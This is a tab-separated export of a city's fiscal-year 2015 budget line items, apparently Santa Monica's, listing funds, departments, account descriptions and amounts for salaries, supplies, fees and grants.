17357	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408471.0	PEDICAB VEHICLE PERMITS	608.0	Licenses and Permits	2015	-2382	0	0	0	0	0	0	0	0	0	0	0	-2382
17358	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	3540	0	0	0	0	0	0	0	0	0	0	0	3540
17359	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-3772	0	0	0	0	0	0	0	0	0	0	0	-3772
17360	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2015	10102	0	0	0	0	0	0	0	0	0	0	0	10102
17361	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	52691	0	0	0	0	0	0	0	0	0	0	0	52691
17362	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	456660	0	0	0	0	0	0	0	0	0	0	0	456660
17363	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-73905	0	0	0	0	0	0	0	0	0	0	0	-73905
17364	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	17197	0	0	0	0	0	0	0	0	0	0	0	17197
17365	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	1000	0	0	0	0	0	0	0	0	0	0	0	1000
17366	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17367	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579011.0	DISCRET-SAFE ROUTES	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17368	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401133.0	BASKETBALL LEAGUES	612.0	Charges for Service	2015	-24300	0	0	0	0	0	0	0	0	0	0	0	-24300
17369	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555250.0	MEDICAL SERVICES	806.0	 Supplies and Expenses	2015	126950	0	0	0	0	0	0	0	0	0	0	0	126950
17370	BA	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	410290.0	OPC SEA LEVEL RISE ADAPTATION	610.0	Intergovernmental	2015	-235000	0	0	0	0	0	0	0	0	0	0	0	-235000
17371	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	800	0	0	0	0	0	0	0	0	0	0	0	800
17372	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17373	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	566582.0	PARAMEDIC CERTIFICATES	806.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17374	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	1000	0	0	0	0	0	0	0	0	0	0	0	1000
17375	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	408320.0	LANDSCAPE & IRRIG PLAN CHECK R	612.0	Charges for Service	2015	-40720	0	0	0	0	0	0	0	0	0	0	0	-40720
17376	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17377	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2015	10000	0	0	0	0	0	0	0	0	0	0	0	10000
17378	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	165000	0	0	0	0	0	0	0	0	0	0	0	165000
17379	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	405875.0	HOMEWORK CLUB	612.0	Charges for Service	2015	-60000	0	0	0	0	0	0	0	0	0	0	0	-60000
17380	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	38984	0	0	0	0	0	0	0	0	0	0	0	38984
17381	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	15000	0	0	0	0	0	0	0	0	0	0	0	15000
17382	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	403765.0	DOWNTOWN SHUTTLE PROGRAM	662.0	Other	2015	-69224	0	0	0	0	0	0	0	0	0	0	0	-69224
17383	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401134.0	VOLLEYBALL LEAGUES	612.0	Charges for Service	2015	-8300	0	0	0	0	0	0	0	0	0	0	0	-8300
17384	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401380.0	POUND FEES	612.0	Charges for Service	2015	-23805	0	0	0	0	0	0	0	0	0	0	0	-23805
17385	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522120.0	UTILITIES - NATURAL GAS	806.0	 Supplies and Expenses	2015	5500	0	0	0	0	0	0	0	0	0	0	0	5500
17386	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	566990.0	CRIME PREVENTION	806.0	 Supplies and Expenses	2015	40376	0	0	0	0	0	0	0	0	0	0	0	40376
17387	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	406856.0	OTS STEP GRANT 2014	610.0	Intergovernmental	2015	-297560	0	0	0	0	0	0	0	0	0	0	0	-297560
17388	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511490.0	OVERTIME	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17389	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-3600	0	0	0	0	0	0	0	0	0	0	0	-3600
17390	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	5000	0	0	0	0	0	0	0	0	0	0	0	5000
17391	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	406547.0	USED OIL PAY PROG OPP5	610.0	Intergovernmental	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17392	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17393	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	407490.0	PLAN CHECK FEES-LANDSCAPE&FORE	612.0	Charges for Service	2015	-133900	0	0	0	0	0	0	0	0	0	0	0	-133900
17394	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409003.0	CHILDCARE-NOVEMBER	612.0	Charges for Service	2015	-34717	0	0	0	0	0	0	0	0	0	0	0	-34717
17395	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544110.0	PRINTED FORMS	808.0	 Supplies and Expenses	2015	500	0	0	0	0	0	0	0	0	0	0	0	500
17396	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577260.0	SENIOR HOUSING VOUCHER PRG	816.0	 Supplies and Expenses	2015	350000	0	0	0	0	0	0	0	0	0	0	0	350000
17397	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405370.0	DISCOUNT ON PERS PREPAYMENT	622.0	Other	2015	-1597853	0	0	0	0	0	0	0	0	0	0	0	-1597853
17398	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408360.0	SUCCESSOR AGENCY ADMIN	622.0	Other	2015	-675000	0	0	0	0	0	0	0	0	0	0	0	-675000
17399	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544040.0	BOOKS/PAMPHLETS	808.0	 Supplies and Expenses	2015	100	0	0	0	0	0	0	0	0	0	0	0	100
17400	BA	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404178.0	RESIDUAL RECEIPTS-HOUSING	622.0	Other	2015	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
17401	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	403921.0	TEA 21 CAL INCLINE CONSTRUCTIO	610.0	Intergovernmental	2015	-2800000	0	0	0	0	0	0	0	0	0	0	0	-2800000
17402	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS		AMORT/ACCRET	616.0	Investment Income	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17403	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400290.0	PREF PARKING PERMITS	608.0	Licenses and Permits	2015	-1177000	0	0	0	0	0	0	0	0	0	0	0	-1177000
17404	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2015	-1000	0	0	0	0	0	0	0	0	0	0	0	-1000
17405	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17406	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408470.0	PEDICAB OPERATOR PERMITS	608.0	Licenses and Permits	2015	-1210	0	0	0	0	0	0	0	0	0	0	0	-1210
17407	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	556240.0	SCE OBF LOAN	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17408	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578311.0	FIRE REIMBURSEMENT	810.0	 Supplies and Expenses	2015	77826	0	0	0	0	0	0	0	0	0	0	0	77826
17409	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	2872	0	0	0	0	0	0	0	0	0	0	0	2872
17410	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	581	0	0	0	0	0	0	0	0	0	0	0	581
17411	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	12521	0	0	0	0	0	0	0	0	0	0	0	12521
17412	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511490.0	OVERTIME	804.0	Salaries and Wages	2015	422464	0	0	0	0	0	0	0	0	0	0	0	422464
17413	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	54100	0	0	0	0	0	0	0	0	0	0	0	54100
17414	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511748.0	DENTAL	804.0	Salaries and Wages	2015	30544	0	0	0	0	0	0	0	0	0	0	0	30544
17415	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	105	0	0	0	0	0	0	0	0	0	0	0	105
17416	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511749.0	VISION	804.0	Salaries and Wages	2015	4480	0	0	0	0	0	0	0	0	0	0	0	4480
17417	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17418	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2015	11069	0	0	0	0	0	0	0	0	0	0	0	11069
17419	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2015	11000	0	0	0	0	0	0	0	0	0	0	0	11000
17420	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409073.0	ROSIE'S GIRLS-SUMMER II	612.0	Charges for Service	2015	-24215	0	0	0	0	0	0	0	0	0	0	0	-24215
17421	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555510.0	1450 OCEAN	810.0	 Supplies and Expenses	2015	10000	0	0	0	0	0	0	0	0	0	0	0	10000
17422	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555510.0	1450 OCEAN	810.0	 Supplies and Expenses	2015	10000	0	0	0	0	0	0	0	0	0	0	0	10000
17423	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2015	4077	0	0	0	0	0	0	0	0	0	0	0	4077
17424	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	804.0	Salaries and Wages	2015	1947688	0	0	0	0	0	0	0	0	0	0	0	1947688
17425	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2015	63799	0	0	0	0	0	0	0	0	0	0	0	63799
17426	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2015	344710	0	0	0	0	0	0	0	0	0	0	0	344710
17427	BA	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	808.0	Salaries and Wages	2015	-17683	0	0	0	0	0	0	0	0	0	0	0	-17683
17428	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	1833476	0	0	0	0	0	0	0	0	0	0	0	1833476
17429	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511490.0	OVERTIME	804.0	Salaries and Wages	2015	20210	0	0	0	0	0	0	0	0	0	0	0	20210
17430	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	38660	0	0	0	0	0	0	0	0	0	0	0	38660
17431	BA	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	810.0	Salaries and Wages	2015	-397	0	0	0	0	0	0	0	0	0	0	0	-397
17432	BA	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2015	-29399	0	0	0	0	0	0	0	0	0	0	0	-29399
17433	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	12881	0	0	0	0	0	0	0	0	0	0	0	12881
17434	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522180.0	BANK FEES	804.0	 Supplies and Expenses	2015	60000	0	0	0	0	0	0	0	0	0	0	0	60000
17435	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	36200	0	0	0	0	0	0	0	0	0	0	0	36200
17436	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2015	9700	0	0	0	0	0	0	0	0	0	0	0	9700
17437	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	13880	0	0	0	0	0	0	0	0	0	0	0	13880
17438	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-6790	0	0	0	0	0	0	0	0	0	0	0	-6790
17439	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522620.0	RENT	804.0	 Supplies and Expenses	2015	38495	0	0	0	0	0	0	0	0	0	0	0	38495
17440	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2015	2388	0	0	0	0	0	0	0	0	0	0	0	2388
17441	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566660.0	3400-3500 AIRPORT AVE		 Supplies and Expenses	2015	630349	0	0	0	0	0	0	0	0	0	0	0	630349
17442	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	408473.0	OTHER BUSINESS PERMITS	608.0	Licenses and Permits	2015	-57280	0	0	0	0	0	0	0	0	0	0	0	-57280
17443	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	408680.0	ILLEGAL DISPOSAL ABATEMENT GRA	610.0	Intergovernmental	2015	-298064	0	0	0	0	0	0	0	0	0	0	0	-298064
17444	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579010.0	DISCRET-PYFC PAYMENT	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17445	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401381.0	DOG & CAT NEUTER DEPOSITS	612.0	Charges for Service	2015	-10247	0	0	0	0	0	0	0	0	0	0	0	-10247
17446	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2015	2747	0	0	0	0	0	0	0	0	0	0	0	2747
17447	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544080.0	LICENSE TAGS / STICKERS	806.0	 Supplies and Expenses	2015	1171	0	0	0	0	0	0	0	0	0	0	0	1171
17448	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2015	4174	0	0	0	0	0	0	0	0	0	0	0	4174
17449	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544060.0	JAIL SUPPLIES	806.0	 Supplies and Expenses	2015	69713	0	0	0	0	0	0	0	0	0	0	0	69713
17450	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2015	2545	0	0	0	0	0	0	0	0	0	0	0	2545
17451	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555210.0	TRAINING	806.0	 Supplies and Expenses	2015	1826	0	0	0	0	0	0	0	0	0	0	0	1826
17452	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401072.0	TENNIS TOURNAMENT	612.0	Charges for Service	2015	-32000	0	0	0	0	0	0	0	0	0	0	0	-32000
17453	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	408710.0	PARKS & REC IMPACT FEE	622.0	Other	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17454	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	578842.0	JUSTICE ASSIST GRANT 2014	806.0	 Supplies and Expenses	2015	31585	0	0	0	0	0	0	0	0	0	0	0	31585
17455	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404290.0	MEASURE R LOCAL RETURN	610.0	Intergovernmental	2015	-520000	0	0	0	0	0	0	0	0	0	0	0	-520000
17456	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	4400	0	0	0	0	0	0	0	0	0	0	0	4400
17457	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	67200	0	0	0	0	0	0	0	0	0	0	0	67200
17458	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409004.0	CHILDCARE-DECEMBER	612.0	Charges for Service	2015	-34717	0	0	0	0	0	0	0	0	0	0	0	-34717
17459	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409032.0	CAMP SM-SPRING	612.0	Charges for Service	2015	-12830	0	0	0	0	0	0	0	0	0	0	0	-12830
17460	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407201.0	ROSIE'S GIRLS DONATIONS	622.0	Other	2015	-1000	0	0	0	0	0	0	0	0	0	0	0	-1000
17461	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579962.0	BBB-GEN FUND REIMB-ISD	910.0	 Supplies and Expenses	2015	442327	0	0	0	0	0	0	0	0	0	0	0	442327
17462	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2015	-9116	0	0	0	0	0	0	0	0	0	0	0	-9116
17463	BA	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	808.0	Salaries and Wages	2015	-14957	0	0	0	0	0	0	0	0	0	0	0	-14957
17464	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	364317	0	0	0	0	0	0	0	0	0	0	0	364317
17465	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	3843	0	0	0	0	0	0	0	0	0	0	0	3843
17466	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522230.0	CREDIT CARD FEES	804.0	 Supplies and Expenses	2015	2115138	0	0	0	0	0	0	0	0	0	0	0	2115138
17467	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	20513	0	0	0	0	0	0	0	0	0	0	0	20513
17468	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	4647	0	0	0	0	0	0	0	0	0	0	0	4647
17469	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409005.0	CHILDCARE-JANUARY	612.0	Charges for Service	2015	-31617	0	0	0	0	0	0	0	0	0	0	0	-31617
17470	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409021.0	ENRICHMENT-FALL	612.0	Charges for Service	2015	-154000	0	0	0	0	0	0	0	0	0	0	0	-154000
17471	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409072.0	ROSIE'S GIRLS-SUMMER I	612.0	Charges for Service	2015	-24216	0	0	0	0	0	0	0	0	0	0	0	-24216
17472	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407060.0	KEC TENANT RENTALS	618.0	Rentals	2015	-128266	0	0	0	0	0	0	0	0	0	0	0	-128266
17473	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522230.0	CREDIT CARD FEES	810.0	 Supplies and Expenses	2015	153582	0	0	0	0	0	0	0	0	0	0	0	153582
17474	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	816.0	Salaries and Wages	2015	-3818	0	0	0	0	0	0	0	0	0	0	0	-3818
17475	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2015	9730	0	0	0	0	0	0	0	0	0	0	0	9730
17476	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2015	-6536	0	0	0	0	0	0	0	0	0	0	0	-6536
17477	BA	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	808.0	Salaries and Wages	2015	35225	0	0	0	0	0	0	0	0	0	0	0	35225
17478	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	27026	0	0	0	0	0	0	0	0	0	0	0	27026
17479	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408472.0	PEDICAB DRIVER PERMITS	608.0	Licenses and Permits	2015	-2555	0	0	0	0	0	0	0	0	0	0	0	-2555
17480	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2015	18189	0	0	0	0	0	0	0	0	0	0	0	18189
17481	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511748.0	DENTAL	804.0	Salaries and Wages	2015	3660	0	0	0	0	0	0	0	0	0	0	0	3660
17482	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511920.0	UNIFORM / TOOL ALLOWANCE	804.0	Salaries and Wages	2015	600	0	0	0	0	0	0	0	0	0	0	0	600
17483	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EAP	804.0	Salaries and Wages	2015	314	0	0	0	0	0	0	0	0	0	0	0	314
17484	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	13770	0	0	0	0	0	0	0	0	0	0	0	13770
17485	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	3330	0	0	0	0	0	0	0	0	0	0	0	3330
17486	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	3130	0	0	0	0	0	0	0	0	0	0	0	3130
17487	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2015	3511	0	0	0	0	0	0	0	0	0	0	0	3511
